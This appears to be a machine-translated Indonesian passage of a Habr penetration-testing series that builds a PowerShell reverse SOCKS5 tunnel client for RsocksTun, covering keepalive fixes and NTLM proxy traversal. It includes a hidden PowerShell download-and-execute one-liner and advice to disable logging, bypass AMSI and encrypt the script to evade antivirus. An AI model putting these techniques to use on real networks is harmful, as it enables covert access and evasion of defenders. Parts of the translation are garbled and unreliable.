Kami menulis proksi Reverse socks5 di PowerShell

Kisah penelitian dan pengembangan dalam 3 bagian. Bagian 3 praktis.
Ada banyak beech - bahkan lebih banyak manfaat

Artikel sebelumnya dari siklus dapat ditemukan di sini dan di sini =)

Cek pertempuran


Sekarang mari kita uji operasi skrip kita dalam praktek. Untuk melakukan ini, cobalah untuk membuang terowongan terbalik dari mesin virtual (Windows 7 .net 4.7) ke Linux VPS di Digital Ocean dan kemudian, dengan menggunakannya, kita akan kembali ke Win7. Dalam hal ini, kami mensimulasikan situasi di mana Windows 7 adalah mesin Pelanggan, Linux VPS adalah server kami.

Pada VPS (dalam kasus kami Ubuntu 18.04) kami memasang dan mengkonfigurasi bagian server dari RsocksTun:

  • atur golang: apt install golang
  • ambil sumber rsockstun dari gita:
    git clone github.com/mis-team/rsockstun.git / opt / rstun
  • instal dependensi:
    pergi dapatkan github.com/hashicorp/yamux
    pergi dapatkan github.com/armon/go-socks5
    pergi dapatkan github.com/ThomsonReutersEikon/go-ntlm/ntlm
  • kompilasi sesuai dengan manual: cd / opt / rstun; pergi membangun
  • menghasilkan sertifikat SSL:
    openssl req -baru -x509 -keyout server.key -out server.crt -days 365 -nodes
  • kami memulai bagian server:



  • Kami memulai skrip kami pada klien, menunjukkan kepadanya server untuk terhubung, port dan kata sandi:



  • gunakan port mengangkat dari server Socks5 untuk pergi ke mail.ru



Seperti yang dapat Anda lihat dari tangkapan layar, skrip kami berfungsi. Kami senang, secara mental mendirikan monumen untuk diri kami sendiri dan memutuskan bahwa semuanya sempurna. Tapi ...

Menangani kesalahan


Tapi tidak semuanya semulus yang kita inginkan ...

Selama operasi skrip, satu saat yang tidak menyenangkan ditemukan: jika skrip bekerja melalui koneksi yang tidak terlalu cepat ke server, maka kesalahan yang ditunjukkan pada gambar di bawah ini dapat terjadi ketika mentransfer data besar



Setelah mempelajari kesalahan ini, kami melihat bahwa ketika kami menerima pesan keepalive (saat data masih dikirim ke server), kami mencoba untuk secara bersamaan menulis balasan untuk tetap di soket, yang menyebabkan kesalahan.

Untuk memperbaiki situasi, kita perlu menunggu sampai transfer data selesai, dan kemudian mengirim respons untuk tetap aktif. Tapi di sini masalah lain mungkin muncul: jika pesan keepalive tiba pada saat antara mengirim header 12-byte dan mengirim data, maka kita akan menghancurkan struktur paket ymx. Oleh karena itu, solusi yang lebih tepat adalah dengan mentransfer semua fungsi untuk mengirim data di dalam yamuxScript, yang memproses peristiwa untuk mengirim secara berurutan dan tidak akan ada situasi seperti itu.

Pada saat yang sama, untuk menginstruksikan yamuxScript untuk mengirim respons keepalive, kita dapat menggunakan ArrayList StopFlag yang kita bagikan [0] - indeks nol tidak digunakan, karena penomoran aliran yamux dimulai dengan 1. Dalam indeks ini, kita akan mengirimkan dalam yamuxScript nilai ping yang diterima dalam pesan keepalive. Secara default, nilainya adalah -1, yang berarti tidak diperlukan transmisi. YamuxScript akan memeriksa nilai ini, dan jika itu 0 (ping keepalive pertama = 0) atau lebih, maka kirim nilai yang diteruskan ke respons keepalive:

if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 } 

Kita juga harus mengecualikan pengiriman di utas utama program tanggapan terhadap bendera YMX SYN.

Untuk melakukan ini, kami juga harus mentransfer fungsi ini di dalam yamuxScript, tetapi karena server yamux tidak memerlukan pengiriman respons ke YMX SYN dan segera mulai mengirim data, kami hanya mematikan pengiriman paket ini dan hanya itu:

 #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12) 

Setelah itu, transfer sejumlah besar data berfungsi dengan baik.

Dukungan proxy


Sekarang mari kita pikirkan bagaimana kita bisa membuat klien kita bekerja melalui server proxy.

Mari kita mulai dengan dasar-dasarnya. Secara teori, http-proxy (yaitu, proksi http berfungsi di sebagian besar jaringan perusahaan) dirancang untuk bekerja dengan protokol HTTP, dan sepertinya http tidak berbau seperti milik kita. Namun secara alami, selain http, ada juga https dan browser Anda dapat terhubung dengan sempurna ke situs https melalui http - benar biasa?

Alasan untuk ini adalah mode operasi server proxy khusus - mode CONNECT. Jadi, jika browser ingin terhubung ke server gmail melalui https melalui server proxy, ia mengirim permintaan CONNECT ke server proxy, yang menunjukkan host dan port tujuan.

 CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive 

Setelah koneksi berhasil ke server gmail, proksi mengembalikan respons 200 OK.

 HTTP/1.1 200 OK 

Setelah itu, semua data dari browser langsung ditransmisikan ke server dan sebaliknya. Secara sederhana, proxy secara langsung menghubungkan dua soket jaringan satu sama lain - soket browser dan soket server gmail. Setelah itu, browser mulai membuat koneksi ssl dengan server gmail dan bekerja dengannya secara langsung.

Mentransfer hal di atas ke klien kami, pertama-tama kita perlu membuat koneksi dengan server proxy, mengirim paket http yang menunjukkan metode CONNECT dan alamat server yamux kami, menunggu jawaban dengan kode 200, dan kemudian melanjutkan untuk membuat koneksi ssl.

Pada prinsipnya, tidak ada yang rumit. Ini adalah bagaimana mekanisme koneksi melalui server proxy diimplementasikan di rsockstun klien golang.

Kesulitan utama dimulai ketika server proxy memerlukan otorisasi ntlm atau kerberos saat menghubungkan ke dirinya sendiri.

Dalam kasus ini, server proxy mengembalikan kode 407 dan header ntlm http sebagai string base64

 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0 

Agar otorisasi berhasil, kita harus men-decode baris ini, menghapus parameter darinya (seperti ntlm-challenge, nama domain). Kemudian, menggunakan data ini, serta nama pengguna dan ntlm hash-nya, kita harus menghasilkan respons ntlm, menyandikannya kembali ke base64 dan mengirimkannya kembali ke server proxy.

 CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive + UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive 

Tapi ini tidak terlalu buruk. Faktanya adalah ketika kita menjalankan skrip, kita tidak tahu nama pengguna saat ini atau hash kata sandi ntlm-nya. Jadi, untuk otorisasi pada server proxy, kita perlu mengetahui nama pengguna / pass dari tempat lain.

Secara teoritis, kita dapat mengimplementasikan fungsi ini dalam sebuah skrip (mulai dari pengaturan parameter otentikasi secara manual, seperti yang dilakukan pada klien GoLang, dan berakhir dengan menggunakan dump memori proses LSASS, seperti yang dilakukan dalam mimikatz), tetapi kemudian skrip kami akan tumbuh dengan ukuran dan kompleksitas yang luar biasa, terutama bahwa topik-topik ini berada di luar cakupan artikel ini.

Kami berpikir dan memutuskan bahwa kami akan pergi ke arah lain ...

Alih-alih melakukan otorisasi secara manual, kami akan menggunakan fungsionalitas bawaan untuk bekerja dengan server proxy dari kelas HTTPWebRequest. Tetapi dalam kasus ini, kita harus mengubah kode server RsocksTun kami - setelah semua, ketika menerima permintaan dari klien, ia hanya akan mengharapkan string dengan kata sandi, dan itu akan menerima permintaan HTTP penuh. Pada prinsipnya, memodifikasi sisi server rsoskstun tidak begitu sulit. Kita hanya perlu memutuskan di bagian mana dari permintaan http kita akan mengirimkan kata sandi (misalnya, itu akan menjadi header http XAuth) dan mengimplementasikan fungsionalitas memproses permintaan http, memeriksa header kita dengan kata sandi dan mengirimkan respon http kembali (200 OK). Kami menambahkan fungsi ini ke cabang terpisah dari proyek RSocksTun.

Setelah memodifikasi bagian Golang dari RSocksTun (server dan klien), kami akan mulai menambahkan fungsionalitas bekerja dengan server proxy ke skrip kami. Kode paling sederhana untuk kelas HttpWebRequest untuk menyambung ke server web melalui proxy terlihat seperti ini:

 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit} 

Dalam hal ini, kami membuat turunan dari kelas HttpWebRequest, mengatur properti Proxy dan Kredensial, menambahkan header XAuth kustom http. Dengan demikian, permintaan kami ke server Google akan melalui server proxy 127.0.0.1:8080. Jika proksi meminta otorisasi, maka Windows itu sendiri akan "mengambil" kredit dari pengguna saat ini dan menyisipkan header http yang sesuai.

Daripada menentukan server proxy secara manual, kita dapat menggunakan pengaturan sistem dari server proxy:

 $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 

Jadi, setelah kami terhubung melalui server proxy ke server rsockstun kami dan menerima respons HTTP dengan kode 200, kita perlu melakukan sedikit trik, yaitu, dari kelas HTTPWebRequest, dapatkan objek streaming untuk membaca / menulis seperti $ tcpConnection.getStream (). Kami melakukan ini melalui mekanisme Inspeksi .Net refleksi (bagi mereka yang ingin memahami mekanisme ini secara lebih rinci, bagikan tautannya ). Ini memungkinkan kita untuk mengakses metode dan properti dari kelas yang mendasarinya:

 #--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null) 

Dengan demikian, kami mendapatkan aliran-soket yang sama, yang terhubung oleh server proxy ke server yamux kami dan dengan mana kami dapat melakukan operasi baca / tulis.

Poin lain yang perlu kita pertimbangkan adalah mekanisme untuk memantau keadaan koneksi. Karena kita bekerja melalui server proxy dan kelas HTTPWebRequest, kita tidak memiliki properti $ tcpConnection.Connected dan kita perlu memonitor status koneksi dengan beberapa cara. Kita dapat melakukan ini melalui flag terhubung $ terpisah, itu diatur ke $ true setelah menerima 200 kode dari server proxy dan diatur ulang ke $ false ketika pengecualian terjadi saat membaca dari socket-stream:

 try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;} 

Kalau tidak, kode kami tetap tidak berubah.

Peluncuran Inline


Sebagai aturan, semua orang waras menjalankan skrip yang mirip dari file PS1, tetapi kadang-kadang (dan sebenarnya hampir selalu) dalam proses pentest / redtime perlu untuk menjalankan modul dari baris perintah tanpa menulis apa pun ke disk, agar tidak meninggalkan jejak apa pun . Selain itu, powershell memungkinkan Anda melakukan ini melalui baris perintah:

 powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code> 

Namun, seseorang seharusnya tidak benar-benar santai dalam kaitannya dengan kerahasiaan meluncurkan dan menjalankan perintah. Karena, pertama, semua kode PowerShell dicatat menggunakan alat windows standar di log peristiwa yang sesuai (Windows PowerShell dan Microsoft-Windows-PowerShell / Operational), dan kedua, semua kode yang dieksekusi di dalam PowerShell melewati mekanisme AMSI ( Antarmuka Pemindaian Anti Malware). Hal lain adalah kedua mekanisme ini sangat mahal dengan tindakan yang tidak rumit. Menonaktifkan majalah dan melewati AMSI adalah topik terpisah untuk diskusi dan kami akan menulisnya di artikel mendatang atau di saluran kami. Tapi sekarang sedikit tentang hal lain.

Faktanya adalah bahwa skrip kami telah berkembang ke ukuran yang cukup mengesankan dan jelas bahwa skrip tersebut tidak akan cocok dengan baris perintah apa pun (batas cmd pada Windows adalah 8191 karakter). Oleh karena itu, kita perlu menemukan cara untuk menjalankan skrip kita tanpa menuliskannya ke disk. Dan di sini metode standar yang digunakan oleh malware telah membantu kami selama hampir 15 tahun sekarang. Singkatnya, aturannya sederhana - unduh dan jalankan. Hal utama adalah untuk tidak mencampurnya =)
Perintah unduh dan jalankan terlihat seperti ini:

 powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))" 

Anda dapat menemukan lebih banyak opsi peluncuran inline di git HarmJ0y ':

Tentu saja, sebelum mengunduh Anda harus berhati-hati dalam menonaktifkan log dan mem-bypass atau menonaktifkan AMSI. Script itu sendiri harus dienkripsi sebelum mengunduh, karena selama proses pengunduhan, ia akan secara alami dicek ke atas dan ke bawah oleh antivirus Anda (atau bukan = Anda), dan sebelum memulai akan didekripsi sesuai dengan itu. Bagaimana melakukan ini - Anda, pembaca harus sudah membuatnya sendiri. Ini di luar cakupan topik ini. Tapi kami tahu spesialis keren dalam hal ini - Google yang maha kuasa. Ada banyak contoh enkripsi dan dekripsi pada jaringan, serta contoh-contoh memotong AMSI.

Kesimpulan untuk semua bagian


Dalam prosesnya, kami memperkenalkan pembaca dengan teknologi "terowongan terbalik" dan aplikasi mereka untuk pentest, menunjukkan beberapa contoh terowongan seperti itu dan berbicara tentang pro dan kontra penggunaannya.

Kami juga berhasil membuat klien PowerShell ke server RsocksTun dengan kemampuan:

  • Koneksi SSL
  • otorisasi di server;
  • bekerja dengan server yamux dengan dukungan untuk ping keepalive;
  • mode operasi multi-utas;
  • dukungan bekerja melalui server proxy dengan otorisasi.

Anda dapat menemukan semua kode rsockstun (golang dan PowerShell) di cabang yang sesuai di github kami. Cabang master dirancang untuk bekerja tanpa server proxy, dan cabang via_proxy dirancang untuk bekerja melalui proxy dan HTTP.

Kami akan senang mendengar komentar dan saran Anda tentang peningkatan kode dan penerapan pembangunan dalam praktiknya.

Ini melengkapi siklus artikel tunneling terbalik kami. Kami sangat berharap Anda tertarik membaca kami dan informasinya bermanfaat.

Source: https://habr.com/ru/post/id454254/


All Articles